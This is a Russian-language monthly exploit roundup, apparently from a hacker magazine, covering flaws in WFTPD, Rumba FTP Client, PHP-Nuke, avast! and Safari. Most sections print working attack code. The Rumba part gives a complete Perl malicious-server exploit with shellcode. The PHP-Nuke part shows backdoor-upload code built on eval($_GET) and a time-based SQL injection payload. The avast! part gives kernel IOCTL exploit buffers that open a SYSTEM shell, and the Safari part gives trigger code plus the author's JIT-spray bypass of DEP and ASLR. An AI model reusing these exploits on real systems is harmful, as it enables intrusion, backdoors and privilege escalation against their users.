Содержание статьи
- Выход за пределы домашней директории в WFTPD Server
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Переполнение буфера в Rumba FTP Client
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Множественные уязвимости в PHPNuke
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Повышение привилегий в avast!
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
- Выполнение произвольного кода в Apple Safari
- CVE
- TARGETS
- BRIEF
- EXPLOIT
- SOLUTION
Этот месяц был не таким плодотворным на качественные эксплойты, видимо погода сделала свое дело – кому охота сидеть за дебаггером, когда на улице солнце. Но все же кое-что интересное я для вас подготовил. И помните, все это не для того, чтобы нарушать статьи УК РФ, а для того, чтобы учится на чужих ошибках и быть в курсе актуальных угроз.
Выход за пределы домашней директории в WFTPD Server
CVE
- N/A
TARGETS
- *WFTPD Server 3.30
BRIEF
WFTPD Server – FTP-сервер для ОС Windows (кстати, не бесплатный). Данная программа содержит очень характерную ошибку. Аналогичную ошибку находили и в других FTP-серверах от таких именитых производителей как Cisco, HTC, Serv-U и многих других. Поэтому не лишним будет еще раз обратить внимание на классические просчеты программистов.
EXPLOIT
Логика FTP-сервиса в том, что у каждого пользователя есть своя директория, и работать он должен в своей рабочей папке. Понятно, что это дело должно быть защищено. Программисты – люди не глупые, и последовательность “../” фильтруют.
MKD ../../../../../ZLOBA
550 You do not have rights to create that subdirectory.
Но невнимательность губит любое хорошее начинание. Так, например, следующий запрос выполнится без проблем:
MKD c:\zloba
257 "c:\zloba" directory created
Что ж, очевидно, что кроме относительного пути, можно указать и абсолютный. Будь внимателен.
SOLUTION
Решения нет. Разве только не использовать WFTPD для многопользовательского доступа по FTP.
Переполнение буфера в Rumba FTP Client
CVE
- N/A
TARGETS
- * Rumba FTP Client 4.2
BRIEF
Что ж, ошибки бывают не только в платных FTP-серверах, но и в платных FTP-клиентах. Уязвимость переполнения буфера – вот что хранит в себе этот клиент.
EXPLOIT
Эксплойт представляет собой симулятор FTP-сервера, который отвечает на некоторые команды и ждет, когда же у него спросят листинг файлов. И в момент, когда клиент это сделает, сервер-эксплойт пошлет (в пассивном режиме, поэтому если использовать эксплойт удаленно, нужно поменять переменную $pasvip) имя файла, причем очень длинное. Настолько длинное, что перезапишет SEH-дескриптор и вызовет исключительную ситуацию. Естественно, что, обрабатывая исключительную ситуацию, клиент перейдет в SEH-цепочку, вершину который мы перезаписали. Так что «обработчиком» исключительной ситуации станет наш шелл-код, который запускает калькулятор. Разберем эксплойт:
use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
or die "Socket Not Created $!\n";
#Приветственное сообщение
print
"#############################################################\n"
. "# Rumba ftp Client 4.2 PASV BoF (SEH) #\n"
. "# By: zombiefx #\n"
. "# Listening on port 21 with pasv port of 31337 #\n"
. "#############################################################\n";
#IP для пассивного режима
my $pasvip = "127,0,0,1";
#Обработка соединения
while ( my $data = $sock->accept() ) {
print "Client Connected!\nAwaiting Ftp commands: \n";
print $data "220 Gangsta Rap Made Me Do It\r\n";
#Обработка команд – симуляция FTP
while (<$data>) {
print;
print $data "331 Anonymous access allowed\r\n" if (/USER/i);
print $data "230-Welcome to N0 M4Ns l4nd.\r\n230 User logged in.\r\n" if (/PASS/i);
print $data "215 UNIX Type: L8 \r\n" if (/SYST/i);
print $data "257 \"/\" is current directory.\r\n" if (/PWD/i);
print $data "200 Type set to I.\r\n" if (/TYPE I/i);
print $data "200 Type set to A.\r\n" if (/TYPE A/i);
print $data "214 Syntax: SITE - (site-specific commands)\r\n" if (/HELP/i);
#Готовимся к передаче…
print $data "227 Entering Passive Mode ($pasvip,122,105)\r\n" if (/PASV/i);
#Запрос листинга директории, вызываем основную функцию
if (/LIST/i) {
print $data "150 Here comes the directory listing.\r\n" . "226 Directory send OK.\r\n";
&senddata( '122', '105' );
}
}
print "Payload delivered check the client!\n";
}
#Основная функция
sub senddata {
my $port = $_[0] * 256 + $_[1];
#Ждем клиента для пересылки
my $pasvsock = IO::Socket::INET->new( LocalPort => $port, Proto => 'tcp', Listen => '1' );
my $pasvdata = $pasvsock->accept();
#Первые 1351 байт – мусор
my $junk = "\x77" x 1351;
#Перезаписываем SEH-дескриптор адресом 0x1006E534
#по этому адресу – ftplogic.dll и инструкции,
#POP EDI/POP ESI/RETN
#которые вернут нас в стек
my $seh = pack( 'V', 0x1006E534 );# located in ftplogic.dll
#Это инструкция JMP +0x8,
#так как следующие несколько байтов будут испорчены
my $nseh = "\xeb\x06\x90\x90";
#шелл-код, на который будет прыжок на пятый NOP из-за предыдущей инструкции:
my $nops = "\x90" x 50;
my $calcshell =
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
. "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
. "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
. "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a"
. "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
. "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
. "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
. "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
. "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
. "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
. "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
. "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
. "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
. "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
. "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
. "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
. "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
. "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
my $payload = $junk . $nseh . $seh . $nops . $calcshell;
print $pasvdata
"-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 test.$payload\r\n\r\n";
}
Эксплойт работает стабильно, правда, понятно, что с DEP он работать не будет.
SOLUTION
Обновить ПО, хотя автор думает, что и новая версия тоже уязвима. Так что лучше не использовать его вообще...
Множественные уязвимости в PHPNuke
CVE
- N/A
TARGETS
- PHP-Nuke 7.0
- PHP-Nuke 8.1
- PHP-Nuke 8.1.35
BRIEF
Прошедший месяц оказался для создателей PHP-Nuke не очень приятным. Что неудивительно, ведь в их детище был найден целый букет уязвимостей. Исследователь Майкл Брукс (Michael Brooks) опубликовал эксплойт, который, используя уязвимости LFI, SQL-инъекции, раскрытия пути, как результат, заливает бэкдор на сервер. Кроме того, этот эксплойт не обошел стороной и старые уязвимости, включая ошибку phpBB, которая может присутствовать в PHP-Nuke 7.0. Программа Брукса написана на PHP и поддерживает использование прокси, а в комментариях даны гугль-хак советы, что делает этот эксплойт крайне неприятным и может использоваться не только скрипт-киддисами, но и червяками.
EXPLOIT
Весь код эксплойта занимает полтысячи строк кода, и поэтому целиком его я тут приводить не буду, лишь интересные кусочки. Разумеется, полную версию эксплойта ты всегда сможешь найти на нашем диске, но исключительно в целях самопроверки. Ведь PHP-Nuke достаточно популярный движок, поэтому стоит провериться. Вдруг ты в опасности? Ладно, хватит лирики, приступаем к делу. Эксплойт запускается элементарно:
"c:\Program Files\PHP\php.exe" nuke.php -t http://<target_site>
Для эксплуатации последней версии PHP-Nuke нужна хоть какая-то учетная запись, поэтому эксплойт требует cookie:
"c:\Program Files\PHP\php.exe" nuke.php -t http://<target_site> -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==
В эксплойт встроена собственная функция для работы со слепыми инъекциями, кодировки строк и т.д. Так что получается мощный зверь.
В качестве тестового примера, я попробовал найти инъекцию и получить хэш админа с помощью этого эксплойта. Найдя относительно заброшенный сайт на этом движке, проверим старую инъекцию, в поле referer:
REFERER: '=(select if(true,sleep(10),0) from nuke_authors limit 1))-- 1
Эксплойт Брукса использует эту уязвимость для получения хэша и формирования cookie для дальнейшей заливки шелла через другую инъекцию, уже новую, но требующую прав администратора, а затем открывает бэкдор через LFI-баг. Конечно, если есть регистрация, можно просто зарегистрироваться и использовать уже другую уязвимость (из арсенала эксплойта) для получения учетки админа и заливки бэкдора. Эксплойт обходит встроенные фильтры защиты от инъекций, а также правила по умолчанию AppArmor’а для Ubunta.
Код заливки бэкдора:
print "Uploading backdoor...\n";
$remote_path=addslashes(addslashes($remote_path."\\frontend.php"));
$backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';
$http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");
$re=$http->send($attack_url."/admin.php?op=modifyUser");
$http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";
$error_reporting=$http->send($attack_url."/admin.php");
Функция charEncode () кодирует символы для использования char() в MySQL. Это сделано, чтобы обойти фильтры. Далее эксплойт открывает бэкдор:
$http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";
$http->send($attack_url."/admin.php");
Заливка трояна в /tmp как раз и позволяет обмануть AppArmor.
SOLUTION
Решения пока нет, автор предлагает вообще отказаться от использования PHP-Nuke, мотивируя это тем, что там очень плохо с безопасностью, и много уязвимостей еще будет найдено.
Повышение привилегий в avast!
CVE
- CVE-2008-1625
TARGETS
- avast! 4.7 Professional Edition
- avast! 4.7 Home Edition
BRIEF
Матэо Меиелли (Matteo Memelli) из Offensive-Security порадовал нас отличным эксплойтом для антивируса «avast!». Уязвимость, найденная Тобиасом Клейном (Tobias Klein), кроется в драйвере антивируса, который криво обрабатывает IOCTL-запросы. Так как драйвер – дело низкоуровневое, то очевидно, что после эксплуатации уязвимости мы получаем права системы. Таким образом, можно поднять свои привилегии в ОС с помощью данного драйвера и уязвимости в нем.
EXPLOIT
Итак, для того, чтобы воспользоваться уязвимостью, достаточно лишь запустить эксплойт и молиться :). Ошибка обнаружена в драйвере aavmker4.sys. Дело в том, что драйвер может обрабатывать IOCTL-запросы без проверки валидности данных, а конкретнее, IOCTL 0xb2d60030, позволяет копировать любые данные по любому адресу:
mov ecx, 21Ah ; размер
mov edi, [eax+18h] ; EAX+0x18 – отсюда берем адрес, куда копировать
rep movsd ; копируем в EDI, то есть куда захотим
Чтобы использовать эту ошибку, был найден указатель на функцию со статическим сдвигом от базового адреса. Именно этот адрес и перезаписывается на адрес шелл-кода, который передается в буфере запроса. Но сначала надо сделать так, что бы EAX указывал на наши данные.
mov eax, [ebp+v38_uc]
Как видно, данные берутся по статическому сдвигу. Прежде чем начать перезапись, эксплойт сохраняет по этому сдвигу специально подготовленные данные так, чтобы уязвимая функция скушала их, и в итоге EAX+0x18 содержал указатель на перезаписываемую нами область памяти с адресом функции. Чтобы осуществить запись в .data, используется IOCTL-запрос 0xb2d6001c. После того, как данные сохранены, вызывается уже наш IOCTL 0xb2d60030, который перезаписывает указатель на функцию, используя предварительно сохраненные в .data адреса. После этого провоцируется вызов функции с перезаписанным указателем – IOCTL 0xb2d60020. Кроме того, эксплойт должен спровоцировать вызов syscall. Для этого он тупо пытается выполнить аутентификацию в системе:
lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"
lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL"
. . .
os.system(lsas1)
time.sleep(1)
os.system(lsas2)
В итоге шелл-код выполнится-таки в нужном контексте. Можно подсоединяться на порт 4444, чтобы получить системный шелл.
Формат входных данных в эксплойте:
#Адрес, где будут лежать данные,
#сохраненные первым IOCTL-запросом
read_data_from= struct.pack('L', sysbase+0x2e04)
#Адрес буфера с шеллкодом, точнее указатель на NOP’ы
r0_address = struct.pack('L', sysbase+0x23fa)
#Формируем первый буфер
#Этот буфер будет входным параметром для
#вызова IOCTL 0xb2d6003
#Адрес шелл-кода, указатель на NOP, которые идут за ним
evil_input = r0_address*2 + "\x90"*0x102
#Шелл-код цепочка, вывод в ring3 и открытие шелла на 4444 порту
evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode
#Не важно
evil_input += "\x41"*0x549
#Указатель на сохраненный в .data буфер, откуда будут читаться
#данные для этого IOCTL
evil_input += read_data_from + "\x42\x42\x42\x42"
#Формируем первый буфер, который будет сохранен в .data
#c помощью первого IOCTL-запроса.
#Отсюда будут браться данные для второго IOCTL
#Выравнивание
stor_input = "\x43\x43\x43\x43"
#Эти данные нужны, чтобы функция, обрабатывающая
#второй IOCTL ничего не заподозрила
stor_input += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h
stor_input += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh
#Выравнивание
stor_input += "\x44\x44\x44\x44"*2
#Указатель для nt!KeSetEvent, который сработает после записи
#главное, чтобы значение по этому указателю было не равно единице
#так что наш указатель подходит
stor_input += read_data_from
#Выравнивание
stor_input += "\x44\x44\x44\x44"
#Со сдвигом в 0x2300 байт от базового адреса
#лежит указатель на функцию, который надо переписать
#уязвимая функция обрабатывающая второй IOCTL
#перепишет память по этому указателю
#так что укажем на адрес этой функции
stor_input += struct.pack('L', sysbase+0x2300) + "\x45"*414
Эксплойт разбивается на потоки, и там засыпает на минуту. Пока идет ожидание, посылаются два IOCTL-запроса. Первый сохраняет по адресу read_data_from, буфер stor_input. Второй запрос отправляет шелл-код и адрес read_data_from, откуда читать данные для обработки функции – evil_input.
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb2d6001c, stor_input,
stor_size, stor_output, out_size,
byref(dwReturn1), None)
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb2d60030,
evil_input, evil_size, evil_output,
evil_size,
byref(dwReturn2), None)
А дальше провоцируем переход с помощью IOCTL-запроса 0xb2d60020 и syscall c помощью lsass.exe. Только после того, как шелл-код закончит работу, lsass.exe умрет и отправит за собой всю ОС в перезагрузку.
SOLUTION
Обновление антивируса до версии 4.8 может уберечь от данной проблемы.
Выполнение произвольного кода в Apple Safari
CVE
- N/A
TARGETS
- Apple Safari <= 4.0.5
BRIEF
Начнем наш обзор с 0day уязвимости в браузере Safari. Уязвимость обнаружил Кристиан Клосковски (Krystian Kloskowski) и незамедлительно опубликовал эксплойт для последней версии яблочного браузера. Ответных действий от Apple в виде патча пока не последовало.
EXPLOIT
Эксплойт представляет собой обыкновенный HTML-файл c JavaScript-кодом. Уязвимость кроется в методе parent.close(), который способен повредить память процесса, что, в итоге, может передать управление злобному шелл-коду. В примере Кристиана – шелл-код запускает калькулятор, но ты же понимаешь, что заменить шелл-код – дело пустяковое. Чтобы эксплойт работал удаленно, необходимо существование родительского объекта. Для этого в эксплойте предлагается первоначально использовать метод window.open(), который откроет HTML с эксплойтом. А для этого нужно, чтобы у жертвы были разрешены всплывающие окна.
Фишка же самого эксплойта в том, что происходит вызов метода close() для родительского объекта, а затем вызов метода prompt() для того же объекта. Так как parent-объект уже «закрыт», у Safari возникает «разрыв шаблона», то есть ошибка в памяти, в результате которой, при обработке метода prompt(), происходит перезапись регистра ESI значением, которое будет браться из ошибочного места. После записи регистра идет вызов по адресу из этого регистра – CALL ESI. Кристиан в своем эксплойте использует до вызова close() еще пару вызовов prompt(), чтобы «сдвинуть» указатель ESI для принятия значения 0x40E00000. Осталось подготовить шелл-код, чтобы он разместился по адресу 0x40E00000. Тут вступает в дело классический heap spray, что приводит к заполнению адресного пространства процесса, включая адрес 0x40E00000, нашим шелл-кодом. Таким образом, жертва открывает страничку, видит окошко, сгенерированное методом prompt(), пытается закрыть его по ALT+F4, видит второе окошко, которое опять закрывает и в результате – pwned после close() и уже не отобразившего окошка, третьего вызова prompt().
Рассмотрим код эксплойта:
//Функция генерит большую строку
function make_buf(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
var shellcode = … //тут шелл-код
/*А тут вырезан heap spray – экономия краски*/
var a = parent; //указатель на родительский объект
var buf = make_buf("AAAA", 10000); //генерим строку
for(var i = 0; i <= 1; i++) { //Эксплойт, ошибка возникнет при втором проходе
a.prompt(alert);
a.prompt(buf);
a.close();
}
Недостаток эксплойта в том, что Safari у нас работает в режиме permanent-DEP, и шеллкод из кучи исполняться не будет. Компания VUPEN разработала коммерческий эксплойт, который обходит permanent-DEP. Ну, мы же кул-хацкеры – сделаем так, чтобы он еще, кроме DEP, и ASLR обходил. Я не знаю, как сделали ребята из компании VUPEN (догадываюсь, что с помощью ROP), но для ASLR этого мало (в данном случае), поэтому я воспользуюсь техникой JIT-SPRAY и одним из шеллкодов, который я же и разработал (себя не похвалишь – никто не похвалит :)). Мой шеллкод открывает блокнот.
Итак, суть проста – заменяем heap spray (который, кстати, жестко палится антивирусами) на JIT-SPRAY. Но не все так легко, как казалось. Если вставить флеш-объект на ту же страницу или даже на родительскую, то при вызове parent.close() вся память, выделенная для Flash, очистится. Тогда я придумал углубить цепочку «наследования». Первая страница грузит JIT-SPRAY и делает открытие в новом окошке второй, вторая страница ничего не делает, кроме как открывает третью. А уже третья страница открывает четвертую – с эксплойтом, но без heap spray. Все страницы в Safari – обрабатывает один процесс, так что память общая. Но адрес 0x40E00000 меня также не устраивает, кто читал мою статью про JIT SPRAY в апрельском ][, тот помнит, что нам нужен адрес вида 0xXXYY0101, чтобы попасть в JIT-шеллкод. Немного побаловавшись с параметром, я нашел ситуацию, когда указатель ESI переписывается значением, генерируемым в качестве параметра метода parent().
var buf = make_buf(unescape('%u0101%u0943'), 38000);
Теперь мы можем передать управление по точному адресу. Я выбрал 0x09430101. Там как раз наш шеллкод. Вот и все.
SOLUTION
Решения пока нет. Разве что отключить JavaScript- и Pop-Up окошки (а вот это в Safari уже сделано по умолчанию).